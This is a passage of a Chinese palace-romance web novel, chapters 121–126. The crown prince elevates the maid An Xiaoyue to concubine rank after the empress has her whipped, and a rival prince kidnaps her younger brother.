就算是庶女,那也是一朝宰相的血脉,当个侧妃也不是什么难事。 萧衍忽然又问,“安小月今日在做什么?” 苏德正添着灯油,闻言手一抖,“回殿下,安姑娘白日里做些针线,王嬷嬷说,这几日阴雨,她肩上的伤又疼起来了……” 声音越说越低,“方才用了安神汤,已经歇下了。” “伤还没好?”萧衍眉头骤然拧紧,“太医不是说半月前就该痊愈了?” 第121章 迁怒 烛火噼啪炸开,闪了闪,映出苏德额角渗出的细汗。 他哪敢说,安姑娘分明是被太子的雷霆手段吓破了胆,如今听见他的名字就浑身发抖? “罢了。”萧衍等不到回应,起身大步走向殿外,“孤亲自去看。” 苏德追着喊“殿下披件衣裳”时,那道身影早已没入夜幕。 萧衍踏入侧殿时,内室烛火仍烧着,映出榻上蜷缩的身影。 安小月裹着锦被翻来覆去,唇间溢出零碎梦呓,“别过来……殿下求您……” 萧衍皱眉按住她乱动的手,却触到一片冰凉。 “她在梦里都怕孤?”萧衍眸色骤暗。 安小月却似感应到什么,猛然睁眼,涣散的瞳孔里还残留着梦中的惊恐。 待看清眼前人,她竟如惊弓之鸟般弹坐起来。 “殿下!” 窗外惊雷炸响。 萧衍俯身捏住她下巴,逼她直视自己,“你究竟梦见了什么?” 安小月睫毛剧烈颤抖,恍惚间又看见梦中场景。 太子执剑抵着她咽喉,而安欢颜竟和太子的手握在一起,同时用力朝她刺过来。 “奴不记得了。”她低头掩住眼底惊惶。 萧衍盯着她,冷笑一声,俯身逼近,“不记得?那当初你替我挡刀时说的话,也是骗人的?” “既是真心,为何不敢说真话?” 安小月呼吸微急,却仍强撑着镇定,“殿下若不信,奴无话可说。” 萧衍眸色一暗,伸手扣住她的下巴,“到底是孤不信,还是你并非真心?” 他的气息灼热,带着不容抗拒的压迫感。 安小月心跳骤然加快,却在这时,忽然伸手勾住他的脖颈,仰头贴近。 “殿下既然怀疑,那亲自验一验?”她的嗓音轻软,带着若有似无的挑衅。 萧衍呼吸一滞,眼底暗火骤燃,扣住她的腰狠狠按向自己。 两人的唇几乎相贴,呼吸交缠,灼热而暧昧。 安小月指尖轻轻划过他的喉结,萧衍的手已经顺着她的衣襟滑入,掌心贴着她纤细的腰线,缓缓摩挲。 “安小月,你胆子不小。”他嗓音低哑,带着危险的意味。 她轻笑,指尖在他胸口画圈,“殿下不是要奴证明吗?” 萧衍眸色一沉,猛地低头吻住她,手掌扣住她的后颈,不容她退却。 安小月被他吻得气息紊乱,却仍不甘示弱,指尖探入他的衣襟,在他胸口轻轻一划。 萧衍闷哼一声,直接将她压倒在榻上,嗓音暗哑,“看来,你是真的想好了。” 安小月衣衫半褪,青丝散乱,身上作乱的手却在这时突然停住。 萧衍眼神骤然清明。 他盯着安小月泛红的眼角和凌乱的衣衫,突然一把扯过锦被将她裹住,翻身下榻。 “殿下?”安小月声音发颤,指尖无意识地揪紧了被角。 她方才分明感觉到太子的情动,怎么突然…… 萧衍背对着她整理衣襟,声音冷淡,“怪不得你与往日不同,故意引孤过来,就想要做这事?你为何会以为孤会要一个满心算计的女人?” 安小月心头一跳,强自镇定道,“奴不明白殿下的意思。” “不明白?”他突然转身,一把扣住她的手腕,“你不是在盘算母凭子贵?” 被戳中心事的安小月脸色煞白,却见他突然俯身,在她耳边低语,“记住,在这太子府只有孤想不想给。” 说完,他甩开她的手,头也不回地大步离去。 只留下安小月独自坐在凌乱的床榻上,攥着被角的手指节发白。 一连几日,萧衍都没再踏入安小月的院子,即便两人之间只有一墙之隔。 那夜她主动勾引,他本已情动,却在看清她眼底的算计时骤然冷了下来。 她想要什么?一个孩子?一条退路?还是……借他的血脉翻身? 可笑。 他明明说过会保她衣食无忧,她却偏要自作聪明。 萧衍冷着脸批阅奏折,笔锋凌厉,墨迹几乎要划破纸页。 太子府上下都察觉到了太子的不悦,也心知肚明此事与偏殿的安姑娘有关。 虽没人克扣她的膳食,却也无人敢多看她一眼。 安小月安静地待在偏殿里,不哭不闹,在亲手熬的汤接连被退回来之后,她便再没出来过了,仿佛早已料到这样的结果。 王嬷嬷忧心不已,每每想劝,安小月却总说自己头疼,硬是把人堵了回去。 她无奈只能暂时放弃,可没想到,皇后的旨意会来得如此突然。 这天晌午,皇后身边的嬷嬷突然带着懿旨到了太子府。 王嬷嬷一听就慌了。 太子殿下这几日都不在府里,说是代替兵部尚书去军营巡视,一时半会儿回不来。 不仅他不在府,就连苏德和赵忠也不在。 “姑娘,这可如何是好?”王嬷嬷搓着手,在廊下来回踱步,“皇后娘娘突然召见,怕是……” 安小月坐在凉亭下,神色若有所思,“怕是什么?怕她赐我一杯毒酒?” 大计未成,如今安欢颜也差不多要废了,皇后舍得杀她么? 王嬷嬷一噎,急得直跺脚,“姑娘别说晦气话!老奴这就去想办法拖一拖,等殿下回来……” “不必了。”安小月从容站起身,理了理衣袖,“既然是皇后娘娘的旨意,我自然得去。” 她嘴角微微弯了弯,眼底却一片冷寂。 最好皇后迁怒于她,好好让狗太子看看他干了什么好事。 王嬷嬷心里着急,却拗不过安小月,只得匆匆替她换了身素净衣裳,低声道,“姑娘,万事小心。” 安小月轻轻点头,正要出门,皇后身边的嬷嬷却斜眼瞥了王嬷嬷一眼,冷笑。 “一个奴婢,也配让人跟着进宫伺候?太子府的下人,如今连规矩都不懂了?” 王嬷嬷脸色一变,刚要开口争辩,安小月却抬手拦住了她。 她转头对王妈妈使了个眼色,示意她别再多言。 “嬷嬷教训的是,王嬷嬷就在府里等着吧,我去去就回。”随后便跟着嬷嬷上了马车。 王嬷嬷站在府门口,眼睁睁看着车帘落下,心里七上八下。 总觉得今日这一去,怕是要出事。 安小月被押进内殿时,神色依旧平静。 她赌的就是皇后舍不得她这条贱命。 第122章 纳她进门 几个粗使嬷嬷二话不说就上前撕扯她的衣裳,她也不挣扎,任由她们将自己剥得只剩单薄的中衣,随后一盆盆冷水当头浇下,寒意刺骨。 她跪在内殿中央,湿透的衣料紧贴着身子,发丝滴水,却仍挺直脊背,一言不发。 皇后冷眼瞧着她,半晌才开口,“你倒是个能忍的。” 安小月这才伏低身子,声音微颤,“奴婢愚钝,不知何处触怒了娘娘,求娘娘明示。” 皇后盯着她看了片刻,忽然笑了,“装得倒是像。” 她缓步走近,指尖挑起安小月的下巴,“你以为,本宫会信你这副楚楚可怜的模样?” 皇后越说越怒,指尖几乎掐进安小月的皮肉里,声音冷厉如刀。 “太子从前对欢颜和三公主虽不算亲近,但也从未刻意刁难!可自从你进了太子府,他竟当众让她们难堪,如今满京城都在传她们的笑话!” 她猛地甩开安小月的脸,袖中帕子攥得死紧。 “三公主生母卑贱,可自小在本宫膝下长大,本宫待她如亲生!如今她日日以泪洗面,你倒躲在太子府装病扮可怜?” 安小月伏在地上,水珠顺着睫毛往下滴,声音轻得几乎听不见。 “娘娘明鉴!奴婢身份低微,岂敢左右殿下的心思?殿下若真为奴婢出头,那也是殿下仁厚,绝非奴婢挑唆。” “仁厚?”皇后冷笑一声,“好啊,那本宫今日就看看,太子对你到底有多‘仁厚’!” 她忽然扬声道,“来人!把这贱婢拖去暗室,先赏二十藤鞭!” 几个粗使婆子立刻就要上前。 安小月强忍着寒意,声音微颤却清晰,“娘娘容禀!太子殿下动怒……其实另有缘由!” 皇后眯起眼,“哦?你倒是说说,什么缘由?” 安小月深吸一口气,低声道,“奴婢虽不敢揣测殿下心思,但曾偶然听闻三公主与安大小姐,似乎私下议论过先皇后的事。” 皇后瞳孔骤然一缩。 安小月继续道,“殿下虽从未明说,但自那日后,便对她们格外冷淡,奴婢猜想,或许是因为触及了殿下的逆鳞。” 她话未说完,皇后已猛地拍案而起,“胡说八道!先皇后早逝多年,与她们何干?” 但指尖却不自觉地颤抖起来,当年那桩旧事,知道的人可不多,但晴柔在她身边长大,万一听到宫人议论…… 殿内骤然死寂,只剩安小月压抑的咳嗽声。 皇后强压下眼底的波动,冷笑一声。 “好一张伶牙俐齿的嘴!让你去伺候太子,你倒学会搬弄是非了?今日若不罚你,宫里的规矩岂不成了笑话!” 她抬了抬手,声音森寒,“拖下去,赏十藤鞭,念在她还要服侍太子,留些体面,别打残了。” 嬷嬷们立刻上前架起安小月。 她始终没有挣扎,只是低垂着头,声音细弱,“奴婢知错……求娘娘开恩……” 藤鞭破空的声音尖锐刺耳,每一下都狠狠抽在安小月背上。 她死死咬住嘴唇,指甲抠进掌心,硬是一声不吭。 太子若知道她因他受罚,会如何? 她眼前发黑,却固执地想着。 他会心疼吗?会不会后悔没有带她一起出门? 血渐渐浸透单衣,安小月终于支撑不住,脑袋软软垂了下去。 最后一刻,她嘴角竟浮起一丝极淡的笑。 自她走后,王嬷嬷在太子府里急得团团转,手里的帕子都快绞烂了。 派出去送信的人迟迟没有回音,正焦灼间,忽听外头一阵喧哗。 原来是太子回府了! 王嬷嬷顾不得规矩,跌跌撞撞就往正殿跑,却被侍卫拦在门外。 “殿下!老奴有要事禀报!”王嬷嬷声音发颤,拼命朝里张望。 萧衍刚踏进书房,听见动静眉头一皱。 “又是安小月的事?不见。” 苏德正要出去打发,王嬷嬷却扑通跪下了,老泪纵横。 “苏公公!求您告诉殿下,皇后娘娘把安姑娘带进宫了!方才宫里来人说……说娘娘动了刑罚!” 苏德脸色大变,转身就往里冲。 突然,萧衍手中的茶盏“啪”地砸在地上。 “什么时候的事?”他声音冷得吓人。 “就一个时辰前。”王嬷嬷在外头哭道,“姑娘被带走时还惦记着殿下,老奴派人去追您的马队,可……” 萧衍猛地攥紧拳头。 他前两日出门时故意撤走了跟着安小月的暗卫。 萧衍突然抓起披风就往外走,“备马!进宫!” 苏德小跑着跟上,却见太子在廊下突然停住。 “殿下可是忘带什么了?” 萧衍回头,眼眸冰冷,“皇后如何得知这件事情与孤有关?” “这……” 苏德迟疑,太子府有皇后的眼线是众所周知的事情。 但一直被他们的人盯着,翻不出来什么风浪。 这次消息却传得如此之快,没有猫腻才有鬼…… 萧衍冷着脸策马疾驰,苏德跟在后面,心里直打鼓。 殿下这是要为了安姑娘直接跟皇后对上啊! 凤仪宫内 皇后正倚在软榻上喝茶,听到宫人慌张来报,“娘娘!太子殿下闯进来了!” “什么?”皇后手一抖,茶盏差点打翻,随即眼中闪过一丝精光,“他竟亲自来了?” 她唇角微勾,又惊又喜。 惊的是太子竟为了一个婢女直闯后宫,喜的是他终于有了软肋。 安小月啊安小月,本宫倒要看看,你能让他疯到什么地步! 没过多久,萧衍大步流星走来,内侍们无人敢拦。 他衣袍带风,眉眼冷厉,直接推开殿门。 “儿臣参见母后。”他声音冷淡,“不知安小月犯了何罪,值得母后亲自管教?” 皇后慢条斯理地放下茶盏,“怎么,一个婢女而已,也值得太子兴师问罪?” 萧衍盯着她,忽然笑了,“母后不是一直希望儿臣身边有个女人么?” 他语气危险,“儿臣打算纳她进门,母后以为如何?” 皇后瞳孔一缩。 他承认了!他竟然当众承认了! 殿内气氛骤然紧绷,而偏殿里安小月趴在刑凳上,背上的血痕已经凝固。 她迷迷糊糊听见太子的声音,还以为自己在做梦。 直到自己靠进一个宽厚火热的胸膛,熟悉的气息涌入鼻尖。 她费力地睁开眼,随即缓缓勾唇。 果真是太子。 第123章 擢升奉仪 皇后看到太子抱着安小月从偏殿出来,猛地一拍桌。 “站住!” 她盯着奄奄一息的安小月,眉心微微拢起。 “你今日若敢抱着这个贱婢踏出凤仪宫一步,明日满朝文武就会知道,东宫储君为了个下等婢女,竟连祖宗礼法都不顾!” 萧衍脚步一顿。 “母后,”他声音平静得可怕,“是忘了自己当年从哪个位置爬上来的么?” 皇后脸色瞬间煞白。 “苏德。”萧衍头也不回地往外走,“传孤令,即日起安小月擢升为东宫奉仪,居栖月阁。” 奉仪? 那可是正经的东宫嫔妾位份! 皇后气得浑身发抖,“你疯了?她连良家子都不是!” “母后若再拦。”萧衍在殿门口侧过半张脸,阴影里眸光森然,“儿臣不介意让史官多记一笔。” 说罢他大步离去,背影带着几分决绝。 皇后不可置信地看着两人离开的背影。 安小月那个低贱的婢女,竟要成为太子的妾室? 她胸口剧烈起伏,眼前几乎发黑。 本不该是这样的! 她要的,不过是借安小月试探太子的身体是否有隐疾。 毕竟太子年过二十却始终不近女色,朝野早有流言。 可她从未想过,太子竟会对一个棋子动心! 最重要的是,有了正经身份,安小月还会是那个可以随意打杀的贱婢么! “好……好得很!”皇后突然冷笑出声,眼中寒光瘆人,“本宫倒是小瞧了那丫头!” 她缓步走到窗前,望着宫门的方向,心潮跌宕起伏。 太子到底要做什么! 萧衍此时满心满眼都是怀里昏迷的安小月。 踏出宫门时,她后背的血已经浸透了他的衣袍,温热黏腻,让人无端生出几分暴虐情绪。 他早该带她一起出府的。 若她在身边,何至于让皇后钻了空子? 萧衍神色越发阴沉,吓得跟着的随从更是半点动静都不敢发出来。 等他们回到太子府,太医正好也被侍卫架着胳膊拖了进来,连药箱都险些掉了。 老太医踉跄着跟进内殿,刚掀开纱帐就倒抽一口冷气。 这姑娘后背的衣衫早被血黏在伤口上,太子正亲手握着剪子,小心翼翼沿着衣料边缘剪开。 “愣着做什么?”萧衍声音压得极低,手上动作却稳稳当当。 “不准留疤,你可有把握?” 老太医冷汗直流,“殿下,这伤伤及肌理,要先清创,难免……” 话未说完,太子眼底翻涌的杀意让他喉咙发紧。 老太医不敢再说话,战战兢兢地掀开药箱。 皇后有心惩罚,但也顾忌太子,这伤看着重,实际上还不及上次刀伤的一半。 老太医忙活了一个时辰,才抹了抹额头的汗,后退一步。 “回殿下,伤口已包扎妥当,只是这位姑娘失血过多,今夜恐会发热。” “你留下,就住偏殿。”萧衍探手碰了碰安小月的额头,“苏德,带他下去安顿。” 苏德这时才找回声音,“诺,殿下放心。” 他一把扯住还在发愣的太医出了内殿,整个人晕乎乎的。 这安姑娘,怕是真的要飞上枝头了! 三更时分,安小月在剧痛中醒来,她趴在榻上呼吸急促,脸色苍白如纸。 “奉仪……” 她喃喃重复着这个陌生的称谓,指尖无意识地揪紧锦褥。 太子竟真的纳了她。 就在这时,门被轻轻推开,王嬷嬷端着药碗走了进来。 她原本皱着眉,可一瞧见安小月醒了,那张刻板的脸瞬间堆满笑容。 “哎哟,我的好姑娘,可算是醒了!”王嬷嬷快步走到榻边,放下药碗,伸手就去摸安小月的额头。 “身上疼不疼?可觉得热?要不要减床被子?” 她语气热络得过分,仿佛榻上躺着的是她亲闺女似的,可那双眼睛却不怎么与安小月对视。 安小月被突如其来的热情弄得有些发懵,下意识往后缩了缩。 可一动就扯到伤口,疼得她倒抽一口冷气。 “哎哟,别动别动!”王嬷嬷连忙按住她,嘴里絮絮叨叨,“殿下特意吩咐了,要老奴好好照顾姑娘,这药啊,得趁热喝,凉了可就没用了……” 她一边说,一边舀了一勺药汁,递到安小月唇边。 “来,张嘴。” 王嬷嬷端着药碗,一勺一勺地喂安小月喝药,乐得合不拢嘴。 “姑娘可算是苦尽甘来了!”她语气感慨,“虽说挨了这顿鞭子,可值啊!殿下亲自开口纳你进门,这可是天大的福分!” 安小月小口抿着药,苦涩的滋味在舌尖蔓延,却比不上心里的茫然。 她不过是个奴婢,如今竟真成了太子的奉仪? 从前总等着这一日,可真的来了,又有些不真实。 王嬷嬷见她发愣,以为她是欢喜傻了,又凑近几分,压低声音。 “别看现在只是个奉仪,可这是正经名分,月例银子,衣裳首饰,一样不少,还能使唤丫鬟婆子,再不用像从前那样,被人呼来喝去的了!” 她说着,还特意拍了拍安小月的手背,意味深长道,“姑娘可要惜福啊。” 安小月垂下眼睫,没吭声。 王嬷嬷见她这副模样,又笑道,“再说了,殿下待姑娘多上心啊!亲自抱你回府,还叫太医仔细诊治,连药都是派苏公公亲自盯着熬的。” 她话里话外都在暗示,太子对她格外不同。 可安小月心里却莫名发冷。 她暗示了多日,太子为何突然抬举她? 好巧不巧,还发生在她被皇后带进宫私自用刑的这一日。 安小月凝眉沉思。 进宫之前,她的确想让太子后悔把她独自留下的决定,但也仅限于此。 总觉得这位分不是因伤换来的补偿,倒像是故意和皇后作对似的…… 王嬷嬷见她神色恍惚,以为她年纪小不懂其中门道。 “姑娘,你如今虽是奉仪,可太子府里就你一个女主子。”她意味深长地拖长了音,“眼下府里的事,还不是你说了算?” 安小月指尖微微蜷缩,突然想到了什么,但没接话。 王嬷嬷见她没反应,又压低声音道,“就算往后太子娶了正妃,或是纳了侧妃,那又如何?只要你能在殿下心里占住一块地方,就没人能轻易动你。” 第124章 妾可以等 王嬷嬷说着,伸手替安小月掖了掖被角,语气忽地严肃起来。 “但姑娘别忘了老奴曾经说过的话,在这深宅大院里,能靠得住只有自己。” 她顿了顿,又补了一句,“所以该争的要争,该抢的要抢,但这里……” 她点了点安小月的心口,“得守住了。” 安小月垂下眼睫,浓密的睫毛在烛光下投下一片阴影,遮住了她眼底的情绪。 王嬷嬷以为她听进去了,满意地点点头,又换回那副热络的笑脸。 “不多说了,姑娘好好养伤,日后有的是机会。” 她起身离开,临走前还不忘回头叮嘱,“姑娘先歇着吧,我去给姑娘弄些粥来。” 门关上后,安小月盯着那晃动的烛火,久久未动。 明明得到了自己想要的,为何却不开心呢…… 很快,两日过去。 安小月背上的伤已结了薄痂,可太子却始终未曾露面。 她原以为那日他亲自将她带回府,又命人悉心照料,第二日总该有个说法。 可如今,她连他的影子都未曾见到。 窗外细雨绵绵,安小月倚在窗边,指尖无意识地捻着一片花瓣。 “姑娘,该换药了。”王嬷嬷端着漆盘进来,脸上堆着笑。 安小月收回思绪,转身坐下,任由王嬷嬷替她解开衣衫。 纱布揭开时,伤口仍有些刺痛。 她抿了抿唇,终是忍不住开口,“嬷嬷,这两日……殿下可曾提起过我?” 王嬷嬷手上动作一顿,随即笑道,“姑娘这是想殿下了?” 安小月耳根微热,却仍定定看着她。 王嬷嬷叹了口气,压低声音道,“殿下这两日忙着朝务,还是前夜回来住了一宿呢。” 见安小月神色黯然,她又凑近几分,神神秘秘的。 “姑娘可是担心那件事会有差错?放心,如今外头谁不尊称姑娘一句安奉仪?也是早晚的事,等殿下回来,姑娘提上两句,便妥了。” 安小月不由得皱了皱眉,安奉仪? 没有文书,没有印信,她算什么奉仪? 她冷了脸不想说话,王嬷嬷逗了两句也不见笑,只好端着漆盘退了出去。 好在夜深之后,太子终于回了府。 他一回来就进了书房,埋头写些什么,眉宇间透着几分倦色。 没过多久,苏德轻手轻脚地走进来,手里捧着一个精致的锦盒。 他低声道,“殿下,安奉仪差人送来了这个。” 萧衍笔尖微顿,抬眸瞥了一眼那锦盒,淡淡道,“什么东西?” 苏德恭敬地打开盒盖,里面静静躺着一枚绣工精巧的香囊。 青缎为底,银线绣着几枝并蒂莲,针脚细密,显然是费了不少心思。 “安奉仪说,近日阴雨天凉,这香囊里添了安神的药材,望殿下保重身体。” 苏德小心翼翼地补充道,“安奉仪还说这是她亲手绣的。” 萧衍眸光微动,伸手拿起香囊,指尖轻轻摩挲着上面的纹路。 面料触感柔软,隐约透着一丝清冽的药香,倒不似寻常脂粉那般甜腻。 他沉默片刻,忽地低笑一声,“冷了这么几天,她怕是着急了,想知道个答案。” 苏德不敢接话,只垂首站着。 萧衍将香囊搁在案上,语气不辨喜怒,“她伤好了?” “回殿下,奉仪的伤已无大碍,只是……”苏德犹豫了一下,“肩膀上的痂还未落尽,太医说仍需静养。” 萧衍“嗯”了一声,目光重新落回案上,似乎对这事并不上心。 苏德见状,试探着问,“殿下可要回个话?” 萧衍头也不抬,只淡淡道,“不必。” 苏德会意,正要退下,却听太子忽然又开口,“明日让她来书房伺候笔墨。” 安小月接到太子愿意见她的消息自然喜不自胜,奈何如今身份微妙,不好太过张扬。 她穿了件素净衣裳,素着病容,在王嬷嬷的陪同下去了正殿。 夏夜闷热难耐,安小月站在寝殿外间的灯下,安静地等待着。 自那日太子在众目睽睽之下将她从皇宫带回,太子府上下便都改了口,称她一声“安奉仪”。 这称呼听着尊贵,可每每有人行礼时,她总觉那低垂的眉眼后藏着探究。 毕竟,没有册文,没有印信,连一场最简单的仪式都不曾有过。 “安奉仪,殿下醒了,传您进去。” 这时,苏德撩开帘子,神色恭敬地禀报。 安小月指尖一颤,抿了抿唇,理好衣襟踏入内室。 萧衍正倚在榻上看书,见她进来,挑了挑眉,“怎么,今日倒拘谨起来了?” 安小月乖乖走近,垂首奉茶,“殿下公务繁忙,奴不敢逾矩。” 萧衍挑眉,忽而伸手扣住她的手腕把人扯到榻边,“奴?” 他低笑,“太子府上下谁还敢把你当奴婢?” 安小月睫毛微颤,目光落在他案头堆积的文书上,最上面一封赫然是礼部参东宫“妾室逾制”的折子。 她心下一凛,终于轻声开口,“殿下,奴近日……总听人唤奴‘奉仪’,实在惶恐。” 萧衍笑意淡了几分,松开手。 “急了?”他语气漫不经心,却透着一丝疲惫,“近来北境军报频传,朝堂上又盯着孤的后院……再等等。” 安小月沉默片刻,忽而跪直了身子。 “若殿下为难,不如收回成命,奴愿意当个奴婢伺候殿下,也不愿做这不明不白的奉仪。” 话落,太子的手骤然捏住她下巴,迫她抬头。 烛火映在他眼底,竟有一瞬罕见的焦躁,“你以为孤在敷衍你?” 他从文书下抽出一卷黄麻纸扔在她面前,竟是半幅写好的册文,朱笔御印俱全,唯独缺了她的名字。 他喉结滚动,终是冷笑一声,“你既要名分,不如现在就拿去,只是明日若有人参孤,你打算如何补偿?” 安小月怔住了。 她望着那卷几乎触手可及的册文,忽然明白过来。 原来他没有忘,也不是在糊弄她,或许是真的被什么事情绊住了手脚。 安小月张了张嘴,想问他为何突然给她名分,又担心惹怒他鸡飞蛋打。 最终缓缓俯身,将额头贴在他手背上,声音轻得像叹息,“妾……可以等。” 萧衍盯着她的发顶,眼底掠过一丝涟漪,片刻后又恢复平静。 第125章 求助太子 “嗯。” 萧衍示意她起来,漫不经心道,“不过一个奉仪罢了,你想要,孤便给你,只是你若让孤失望,那……” 他嘴角噙着冷笑,点点她的额头,“孤饶不了你。” 安小月心头一惊,趋利避害的本能让她想要推拒,可一想到娘和弟弟,硬生生忍了下去。 “妾绝不会背叛殿下,若有二心,天打雷劈!” “啪!” 一只青瓷茶盏狠狠砸在地上,碎瓷飞溅,滚烫的茶水泼了一地。 萧泽脸色铁青,手中的折扇已被攥得皱成一团。 “好一个太子哥哥!”他冷笑一声,眼中怒火几乎要喷薄而出。 “当初本皇子问他要人,他口口声声说安小月不过是个普通婢女,如今倒好,竟直接册封为奉仪!” 身旁的心腹太监低声道,“殿下息怒,不过是个九品奉仪……” “你懂什么!”萧泽猛地转身。 一把揪住老太监的衣领,咬牙切齿道,“他这是在打本皇子的脸!明知道本皇子对安小月有意,却故意将她收入房中,这是存心羞辱本皇子!” 他松开手,胸膛剧烈起伏,眼中闪过一丝阴狠。 “既然他不仁,就别怪本皇子不义。”萧泽冷冷道,“去把安小月的弟弟绑过来,本皇子倒要看看,皇兄能护她到几时!” 而另一边,安欢颜更是砸了一整间屋子都没消气。 她一把将梳妆台上的胭脂水粉全部扫落在地,铜镜倒映出她扭曲的面容。 “贱人!贱人!”她尖声骂道,指甲深深掐进掌心,“一个卑贱的婢女,也配做奉仪?太子竟如此羞辱我!” 她还未进门,太子就迫不及待地册封了一个婢女,而且还是她最厌恶的安小月! 这简直是将她的脸面踩在脚下! 突然,房门被推开,安禄海和王氏快步走了进来。 “颜儿,你这是做什么?”王氏皱眉,示意丫鬟收拾地上的狼藉。 安欢颜红着眼眶,声音颤抖,“父亲,母亲,太子册封了安小月,他这是存心让我难堪!” 安禄海冷哼一声,眼中闪过一丝算计,“区区一个奉仪,也值得你如此失态?” “可是……” “够了!”安禄海打断她,压低声音道,“现在不是计较这些的时候,太子妃之位才是重中之重!” “那件事过去了这么几日,已经甚少有人谈起,你如今也好全了,只要你能顺利嫁入东宫,日后有的是机会收拾那个贱婢!” 王氏也上前拉住女儿的手,柔声劝道,“颜儿,你父亲说得对,眼下最重要的是笼络太子的心,至于安小月……她娘和弟弟还在我们手里,若她不识相,有的是法子拿捏她。” 安欢颜咬唇,脑海中忽然闪过苏德的话。 “殿下希望安小姐能主动退婚。” 她心头一颤,下意识攥紧了衣袖。 这件事,她一直没敢告诉父母…… “颜儿?”王氏察觉到她的异样,疑惑道,“你怎么了?” 安欢颜勉强扯出一抹笑,“没什么,女儿只是……只是气不过。” 安禄海眯起眼,语气阴沉,“记住,无论太子如何,你都必须坐上太子妃之位,必要的时候……” 他顿了顿,意味深长道,“可以用些非常手段。” 安欢颜低下头,指甲几乎掐进肉里。 “可是太子的身体……” “糊涂!” 安禄海见她这时候还犹豫这事,瞬间恨铁不成钢。 “眼下太子府都快没你的位置了,你竟还操心这个?先笼络好太子,等婚期一到,兴许早有定局。” 他失望地摇了摇头,背着手走了出去。 王氏拍拍女儿的手,也跟着走了。 只留下神色不定的安欢颜,她向来有城府,此刻却半点主意都没有。 傍晚,林氏跌跌撞撞地穿过相府偏院的角门,躲过众多婆子,扑倒在主院的石阶上。 她的额头重重磕在台阶,却顾不得疼,只哑着嗓子哭喊,“夫人开恩!求您救救我家阳儿!” 内室传来瓷器碎裂的脆响,王氏的冷笑刺透门帘,“哪来的疯妇乱吠?” 接着,里面快步走出来一个粗壮婆子。 “啪!” 她一记响亮的耳光狠狠甩在林氏的脸上。 王氏在丫鬟的簇拥下走了出来,居高临下地睨着她,冷笑。 “你养的好女儿勾引太子,不知廉耻,如今连累你儿子被人绑走,真是报应!” 林氏跪在地上,半边脸红肿,却仍不住磕头,“夫人开恩!求您救救阳儿!他才十二岁啊……” 王氏嗤笑一声,慢条斯理地抚了抚袖口,“救?你女儿如今是东宫的奉仪,怎么不去求她?” 林氏浑身发抖,眼泪混着血水滑落,“奴婢……奴婢连太子府的门都进不去……” 一旁冷眼旁观的安欢颜忽然眯起眼,缓缓蹲下身,一把掐住她的下巴。 “我问你,绑走你儿子的人可说了什么?” 林氏一愣,茫然摇头,“那人蒙着面,只说……说若想阳儿活命,就让小月亲自去求太子放人……” 安欢颜眼中精光一闪,猛地松开手,转身对王氏低声道,“果然是他。” 王氏皱眉,“你是说……” “六皇子。”安欢颜压低声音,冷笑,“他这是借刀杀人,想逼安小月出面求太子殿下,若殿下不允,安小月还能不记恨?” 不管结果如何,这根刺是种下了。 王氏眼珠一转,忽然笑了,“那岂不是正好?我们何不推一把?” 夜色深沉,太子府内烛火摇曳。 一封密信被人悄然送至太子府,却未直接交给安小月,而是辗转递到了太子手中。 萧衍一目十行扫完,唇角勾起一抹冷笑,“去,把她叫来。” 苏德忙去请人,不过半刻钟,安小月匆匆而至,她低眉顺目,恭敬行礼。 萧衍将那封信丢到她面前,淡淡道,“看看。” 她指尖微颤,却不动声色地摇头,“殿下忘了?妾身不识字。” 萧衍目光锐利,似要看穿她的伪装,片刻后,才朝身旁的苏德一抬下巴,“念给她听。” 苏德展开信纸,声音平缓,却字字清晰。 安小月垂眸听着,袖中手指悄然攥紧。 阳儿竟然被人绑了! 信里更直言要她亲自去求太子放人,否则弟弟性命难保。 “殿下……” 安小月艰难出声。 她不过一个空壳奉仪,便是正儿八经的太子妃,开口求助太子也不见得会出手。 她有什么本能能让太子相助? 安小月咬紧牙根,鼻头发酸,却忍着不敢泻出眼泪。 第126章 连夜逃走 安小月心如刀绞,喉间更像是堵了团棉花,发不出声音。 阳儿被绑的噩耗像一把钝刀,一点点割着她的肉。 她比谁都清楚,若此刻向太子开口,便是自毁前程。 太子最厌恶被人挟恩图报,更厌恶恃宠而骄。 可那是她从小护到大的弟弟啊,是她和娘亲在苦难中唯一能依靠的血脉…… 安小月跪倒在地,额头抵着冰冷的地砖,嗓音发颤,“求殿下救救奴的弟弟。” 殿内静得可怕。 良久,萧衍轻笑一声,不轻不重地放下茶盏,“安小月,你凭什么觉得,孤会为你费这个心思?” 她浑身一僵,死死咬着唇不敢抬头。 萧衍的声音带着讥诮。 “你今日能为弟弟求孤,明日就能为旁人背叛孤,有软肋的人,也配留在太子府?” 烛火“噼啪”爆了个灯花,映得她煞白的脸上一片死寂。 安小月浑身发颤,唇瓣哆嗦着,却仍固执地抬起头,直视着太子那双深不见底的眼眸。 “殿下想让奴做什么?” 她嗓音嘶哑,却字字坚定,“奴对殿下的心意是真的,可若与骨肉至亲相比,奴只能选弟弟。” 话音落下,殿内骤然死寂。 萧衍眸色骤冷,忽然冷笑一声,“安小月,你还真敢说。” 他猛地俯身逼近,一把扣住她的下巴,力道大得几乎要捏碎她的骨头。 “身为奴婢,敢不将主子放在首位,身为妾室,敢拿真心要挟孤……你是真不怕死?” 她疼得眼角沁泪,却倔强地不肯躲闪,“奴不敢欺瞒殿下。” 萧衍死死盯着她,眼底翻涌着怒意,却又似藏着一丝难以言明的复杂。 半晌,他狠狠甩开手,转身背对着她,声音冷得像淬了冰。 “滚出去。” 安小月艰难跪好,重重磕了个头,转身离去时,背影单薄却决绝。 殿门合上的瞬间,萧衍猛地一挥袖。 案上的茶盏砚台,奏折竹简尽数被扫落在地,瓷盏碎裂,墨汁泼洒,简直是一片狼藉。 苏德被这突如其来的震怒吓得一哆嗦,下意识躬身,却又不得不硬着头皮上前,小心翼翼地赔笑。 “殿下息怒,安侍奉虽莽撞了些,可她对骨肉至亲情深义重,明知是死路也不肯欺瞒您,这份赤诚倒也……” 话未说完,萧衍倏然侧首,冷冽的目光如刀锋般剜过来。 “苏德,你是在替她求情?” 苏德喉头一哽,额角渗出冷汗,干笑两声,“奴才不敢,奴才只是……” 他讪讪住口,心里却暗暗叫苦。 他哪是替安小月说话? 分明是给这位暴怒的主子递台阶下啊! 萧衍盯着他半晌,嗤笑一声,眼底怒意未消,却莫名掺了一丝烦躁。 他转身走向窗边,良久才冷冷道,“滚出去。” 苏德如蒙大赦,连忙躬身退出,关上门才长舒一口气,抹了把额头的汗,心里暗叹。 这安小月,可真是要把天捅了个窟窿啊! 夜色渐浓,玉庆宫的烛火早已熄灭,唯有安小月的房中透出一丝微光。 